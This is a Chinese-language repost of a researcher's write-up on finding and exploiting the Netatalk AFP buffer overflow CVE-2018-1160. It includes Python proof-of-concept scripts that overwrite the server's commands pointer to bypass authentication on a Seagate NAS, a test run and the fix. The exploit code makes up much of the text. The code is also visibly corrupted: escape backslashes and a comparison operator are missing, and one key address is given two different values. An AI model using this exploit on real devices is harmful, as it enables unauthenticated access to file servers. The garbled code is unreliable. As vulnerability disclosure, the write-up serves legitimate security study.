當前位置:
首頁 > 新聞 > Netatalk緩衝區溢出漏洞的發現與利用

Netatalk緩衝區溢出漏洞的發現與利用

概述

最近,我發現並報告了一個Netatalk緩衝區溢出漏洞(CVE-2018-1160),這個漏洞非常古老,允許遠程未經身份驗證的攻擊者覆蓋某些結構數據。利用該漏洞,我成功繞過身份驗證,並獲得對AFP卷的完全控制。本文將主要分析我們是如何發現並利用這個漏洞的。

漏洞利用視頻:https://youtu.be/SCGzlz4DJLg

關於Netatalk

Netatalk是蘋果歸檔協議(Apple Filing Protocol,AFP)的一種實現。該項目自身非常古老,在Sourceforge的第一次導入最早可以追溯到2000年,但該項目的實際年齡比這還要更長。從main.c中,我們可以看到相應的注釋:

/*

* Copyright 1990,1993 Regents of The University of Michigan.

* All Rights Reserved. See COPYRIGHT.

*/

如今,Netatalk已經不再像以前那樣受歡迎,其他的一些網路文件共享協議已經超過了AFP(例如SMB)。但是,我們仍然看到Netatalk在Sourceforge中具有非常多的下載量,它在許多Linux發行版本的官方存儲庫中都有一個軟體包。我也在很多路由器和NAS上都發現了Netatalk,因此該協議仍然存在於我們周圍。

我想說的是,假如Shodan可以搜索AFP,你一定會發現十億台Netatalk伺服器,但實際上Shodan沒有這個功能。不過,請大家相信我,真的有這麼多用戶。

漏洞概述

自從2000年最初引入Sourceforge以來,Netatalk的漏洞一直就沒有引起充分的重視。

這個錯誤其實非常簡單,以下是Netatalk 3.1.11版本中的代碼:

/* parse options */

while (i cmdlen) {

switch (dsi->commands[i++]) {

case DSIOPT_ATTNQUANT:

memcpy(&dsi->attn_quantum, dsi->commands + i + 1,

dsi->commands[i]);

dsi->attn_quantum = ntohl(dsi->attn_quantum);

case DSIOPT_SERVQUANT: /* just ignore these */

default:

i += dsi->commands[i] + 1; /*forward past length tag + length */

break;

}

}

大家可能看得還不是很明顯。那麼我來強調一個前提,如果說dsi->attn_quantum這個4位元組整數和dsi->commands是由攻擊者控制的,那麼大家應該就一目了然了。

接下來,我們分析memcpy。攻擊者控制的兩個參數負責將數據複製到整型變數中。攻擊者控制源(dsi->commands + i + 1)和大小(dsi->commands[i])。由於dsi->commands是char數組,因此size參數的最大值限制為255。

在開始尋找「AAAAAAAAAAAAAAAAAAAAAAAA」之前,我們首先檢查實際上可以覆蓋的內容。以下代碼來自include/libatalk/dsi.h:

#define DSI_DATASIZ 65536

/* child and parent processes might interpret a couple of these

* differently. */

typedef struct DSI {

struct DSI *next; /* multiple listening addresses */

AFPObj *AFPobj;

int statuslen;

char status[1400];

char *signature;

struct dsi_block header;

struct sockaddr_storage server, client;

struct itimerval timer;

int tickle; /* tickle count */

int in_write;

int msg_request; /* pending message to the client */

int down_request; /* pending SIGUSR1 down in 5 mn */

uint32_t attn_quantum, datasize, server_quantum;

uint16_t serverID, clientID;

uint8_t *commands; /* DSI recieve buffer */

uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */

size_t datalen, cmdlen;

...

由於數據陣列中存在大量「黑洞」,因此我們只能覆蓋datasize、server_quantum、serverID、clientID、命令指針以及部分數據。

污點分析

人們總是想要知道我是如何發現這個漏洞的。他們總是想聽到「污點分析」(Taint Analysis)這個詞。當他們聽到「中間語言」時,可能會嘆氣。人們希望能看到種子語料庫,並希望能聽到前沿研究的內容。

我在從奧斯汀飛往費城的3個小時航班上發現了這個漏洞。當時,我剛開完一個會議,準備飛回家,路途上網路不是太好,我沒有什麼可以做的。因此,我在筆記本電腦上安裝了Netatalk源,嘗試繞過NAS項目。一開始,我從閱讀main源代碼起步。

PoC

該漏洞具有一個獨特的特點,其中一個被覆蓋的變數server_quantum會被反射到攻擊者那裡。經過分析,下面代碼將向伺服器發送一個格式正確的DSI Open Session請求。

import socket

import struct

import sys

if len(sys.argv) != 3:

sys.exit(0)

ip = sys.argv[1]

port = int(sys.argv[2])

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[+] Attempting connection to " + ip + ":" + sys.argv[2]

sock.connect((ip, port))

dsi_opensession = "x01" # attention quantum option

dsi_opensession += "x04" # length

dsi_opensession += "x00x00x40x00" # client quantum

dsi_header = "x00" # "request" flag

dsi_header += "x04" # open session command

dsi_header += "x00x01" # request id

dsi_header += "x00x00x00x00" # data offset

dsi_header += struct.pack(">I", len(dsi_opensession))

dsi_header += "x00x00x00x00" # reserved

dsi_header += dsi_opensession

sock.sendall(dsi_header)

try:

resp = sock.recv(1024)

print "[+] Fin."

except:

print "[-] No response!"

伺服器響應中,包含最初在配置文件中定義的「quantum」值。在WireShark抓取的數據包中,我們可以看到「quantum」值為0x100000或1048576。

我們只需要覆蓋那個值。通過更新dsi_opensession Payload,可以提供超出整數範圍的寫入長度(0x0c)。

dsi_opensession = "x01" # attention quantum option

dsi_opensession += "x0c" # length (/)o,,o(/)

dsi_opensession += "x00x00x40x00" # client quantum

dsi_opensession += "x00x00x00x00" # overwrites datasize

dsi_opensession += struct.pack("I", 0xdeadbeef) # overwrites server_quantum

現在,響應中將顯示0xdeadbeef,這是伺服器的「quantum」值。

命令指針的生命周期

我們想要執行控制,就必須找到一個突破點。在可以覆蓋的五個變數中,只有命令似乎可行。

再將新連接分叉到自己的進程後不久,命令指針的生命周期就開始了。在初始化dsi結構時,會分配一系列堆內存,並將其分配給命令。在Netatalk的AFP函數處理之前,每個傳入的AFP消息都會寫入命令指針。直到連接結束後、進程退出前,命令存儲器才會被釋放。

命令將根據在etc/afpd/switch.c中定義的名為afp_switch的全局跳轉表指針(Global Jump Table Pointer)傳遞到系統。afp_switch指向包含255個條目的跳轉表。其中的每個條目,都是NULL(未實現),或者是在命令中處理AFP數據的函數。

afp_switch指向跳轉表的兩個版本之一。其中,第一個跳轉表是preauth_switch,它只包含未經身份驗證的用戶可以調用的四個函數,這是默認的afp_switch表。第二個跳轉表是postauth_switch,在用戶進行身份驗證後,它會被交換到afp_switch。

以下是從etc/afpd/afp_dsi.c調用跳轉表函數的簡化後邏輯:

function = (u_char) dsi->commands[0];

if (afp_switch[function]) {

err = (*afp_switch[function])(obj,

(char *)dsi->commands, dsi->cmdlen,

(char *)&dsi->data, &dsi->datalen);

} else {

LOG(log_maxdebug, logtype_afpd, "bad function %X", function);

dsi->datalen = 0;

err = AFPERR_NOOP;

}

階段小結

在我看來,目前我們就已經有了一個「可以在任意地方寫入任意東西」的漏洞。後續的工作應該非常容易。只需按照以下四個簡單的步驟進行:

1、用我們選擇的地址覆蓋命令指針;

2、使用AFP數據包寫入該地址;

3、揮手;

4、執行控制。

接下來的問題就是,我們寫入到什麼地址上?這確實是一個困難的問題,我們可能無法回答這一問題。例如,在Ubuntu上,默認情況下啟用了ASLR,官方Netatalk軟體包已經編譯為與位置無關。我們預先不清楚任何地址。在這種情況下,我們就無法繼續前進。

但是,就算關上了門,總還是有窗。映入我們眼前的,是嵌入式系統。

在本文的後續部分,我將專註於特定的希捷(Seagate)NAS。在這裡,並不是說所有NAS都是不安全的。希捷只是出現了一點熟路:他們沒有將Netatalk編譯為與位置無關的可執行文件。這就是我們所需要的一切。

選准目標:preauth_switch

接下來,我們選擇使用preauth_switch地址來覆蓋命令指針,原因如下:

1、preauth_switch是一個大多為空的函數表。

2、客戶端通過AFP數據包來決定調用哪個preauth_switch函數。

3、客戶端不需要進行身份驗證,即可調用preauth_switch函數。

我們遇到的第一個挑戰,是找到preauth_switch地址。與postauth_switch不同,preauth_switch只有本地鏈接。這意味著,如果二進位文件被移除,那麼preauth_switch符號將會從符號表中被刪除。以下是兩個例子:

albinolobster@ubuntu:~$ readelf -s afpd.netgear | grep "auth_switch"

493: 00083d5c 1024 OBJECT GLOBAL DEFAULT 22 postauth_switch

176: 000166e8 596 FUNC LOCAL DEFAULT 11 set_auth_switch

798: 0008395c 1024 OBJECT LOCAL DEFAULT 22 preauth_switch

2572: 00083d5c 1024 OBJECT GLOBAL DEFAULT 22 postauth_switch

albinolobster@ubuntu:~$ readelf -s afpd.seagate | grep "auth_switch"

313: 000000000063ae40 2048 OBJECT GLOBAL DEFAULT 24 postauth_switch

albinolobster@ubuntu:~$

在我從Netgear設備中提取的二進位文件中,大家可以看到我們輕鬆提取到了preauth_switch地址(0x8395c)。但是,希捷的二進位文件被剝離了,因此我們需要更深入的查看。在這裡,打開我們最喜歡的反彙編工具,然後找到afp_switch。

我們現在可以看到,preauth_switch從0x63b660開始。

深入研究preauth_switch

我們在preauth_switch中寫了什麼?怎麼處理一個需要身份驗證的函數?接下來,我們將要嘗試如何控制執行流程並驗證身份驗證。一個不錯的目標是afp_getsrvrinfo。afp_getsrvinfo就像DSI GetStatus一樣,除了會經過身份驗證的AFP。

我們可以在postauth_switch的第16個條目中,找到afp_getsrvinfo。

要執行此計劃,我們需要更新腳本,從而使用preauth_switch地址(0x63b600)覆蓋命令指針。

dsi_payload = "x00x00x40x00" # client quantum

dsi_payload += "x00x00x00x00" # overwrites datasize

dsi_payload += struct.pack("I", 0xdeadbeef) # overwrite quantum

dsi_payload += struct.pack("I", 0xfeedface) # overwrite ids

dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr

dsi_opensession = "x01" # attention quantum option

dsi_opensession += struct.pack("B", len(dsi_payload)) # length

dsi_opensession += dsi_payload

在同一連接之後的每個後續AFP請求將被寫入0x63b660。因此,我們只需要確定要將afp_getsrvrinfo的地址寫入哪個表索引。我們知道,AFP消息的第一個位元組是命令,該命令用於執行表查找。

我們無法將afp_getsrvrinfo地址寫入表索引0,因為索引被命令位元組部分耗盡。但是,從表中第8個位元組開始的索引1是可以使用的。如果我們將afp_getsrvrinfo地址寫入索引1中,那麼就能夠通過將AFP請求命令位元組設置為1的方法來調用它。

但是,我們目前還不太清楚afp_getsrvrinfo的地址,接下來要解決這一問題。

最終,我們構造了會調用afp_getsvrinfo的AFP消息。dsi_header部分看起來幾乎和之前一樣,除了我們需要更新第二個位元組,以指示Payload是AFP命令。此外,我們需要增加請求ID。afp_command從1開始,然後進行填充,直到我們可以在表的第二個條目中寫入afp_getsvrinfo的地址。

afp_command = "x01" # invoke the second entry in the table

afp_command += "x00" # protocol defined padding

afp_command += "x00x00x00x00x00x00" # pad out the first entry

afp_command += struct.pack("Q", 0x4295f0) # address to jump to

dsi_header = "x00" # "request" flag

dsi_header += "x02" # "AFP" command

dsi_header += "x00x02" # request id

dsi_header += "x00x00x00x00" # data offset

dsi_header += struct.pack(">I", len(afp_command))

dsi_header += "x00x00x00x00" # reserved

dsi_header += afp_command

整個腳本最終的代碼如下:

import socket

import struct

import sys

if len(sys.argv) != 3:

sys.exit(0)

ip = sys.argv[1]

port = int(sys.argv[2])

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[+] Attempting connection to " + ip + ":" + sys.argv[2]

sock.connect((ip, port))

dsi_payload = "x00x00x40x00" # client quantum

dsi_payload += "x00x00x00x00" # overwrites datasize

dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum

dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids

dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr

dsi_opensession = "x01" # attention quantum option

dsi_opensession += struct.pack("B", len(dsi_payload)) # length

dsi_opensession += dsi_payload

dsi_header = "x00" # "request" flag

dsi_header += "x04" # open session command

dsi_header += "x00x01" # request id

dsi_header += "x00x00x00x00" # data offset

dsi_header += struct.pack(">I", len(dsi_opensession))

dsi_header += "x00x00x00x00" # reserved

dsi_header += dsi_opensession

sock.sendall(dsi_header)

resp = sock.recv(1024)

print "[+] Open Session complete"

afp_command = "x01" # invoke the second entry in the table

afp_command += "x00" # protocol defined padding

afp_command += "x00x00x00x00x00x00" # pad out the first entry

afp_command += struct.pack("Q", 0x4295f0) # address to jump to

dsi_header = "x00" # "request" flag

dsi_header += "x02" # "AFP" command

dsi_header += "x00x02" # request id

dsi_header += "x00x00x00x00" # data offset

dsi_header += struct.pack(">I", len(afp_command))

dsi_header += "x00x00x00x00" # reserved

dsi_header += afp_command

print "[+] Sending get server info request"

sock.sendall(dsi_header)

resp = sock.recv(1024)

print resp

print "[+] Fin."

接下來,我們要做的就是測試。

albinolobster@ubuntu:~$ python afp_srvrinfo.py 192.168.88.252 548

[+] Attempting connection to 192.168.88.252:548

[+] Open Session complete

[+] Sending get server info request

?,W??]

Netatalk3.1.8AFP2.2AFPX03AFP3.1AFP3.2AFP3.3AFP3.4No User AuthentDHX2 DHCAST128Cleartxt Passwrd???????@??@X4@@????r?"?@A@A@A@I$@UT?]t>??? @???@?@?????????????????????????????????????????????????????????????????????????@????????4???b8?eQ?x????5

Seagate-DP2

[+] Fin.

成功了!

什麼?你說無法呈現UTF-8字元這一點看起來不太成功?但其實你錯了,這就是成功後的樣子。這正是我們期望afp_getsvrinfo命令實現的。我們剛剛沒有實現解析過程。

請注意,在下面的截圖中,可以看到Wireshark認為我們正在執行afp_bytelock函數(postauth_switch表的條目1)。Wireshark也無法解析Payload,因為Payload並不是來自afp_bytelock。

要想完全實現漏洞利用,所要進行的工作比這更加複雜。我們需要為參數傳遞預留出空間,並實現AFP消息解析。但這一切都非常乏味。大家都知道,寫代碼並不好玩,但如果各位讀者有興趣,可以在我們的GitHub上找到完整的漏洞。

漏洞修復與補丁分析

Netatalk的開發人員發布了一個更大的補丁來修復這一漏洞。其中最主要的部分將在下面重點體現。實際上,要修復這一漏洞,只需要進行一次簡單的長度檢查即可。

case DSIOPT_ATTNQUANT:

- memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);

+ if (option_len != sizeof(dsi->attn_quantum)) {

+ LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu",

+ cmd, option_len);

+ exit(EXITERR_CLNT);

+ }

+ memcpy(&dsi->attn_quantum, &dsi->commands[i], option_len);

我之前提到過,這個memcpy漏洞似乎在Netatalk引入Sourceforge就已經存在了。但是,我試圖在Netgear路由器上針對2.2.5版本(2013年發布)進行漏洞利用,但以失敗告終。事實證明,DSI的結構在Netatalk 3.0.1(2012年發布)中有所調整,但沒有向後移植到2.x版本中。這一調整允許我們覆蓋命令指針。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

通過.NET實現Gargoyle
NodeJS應用程序身份驗證繞過漏洞分析

TAG:嘶吼RoarTalk |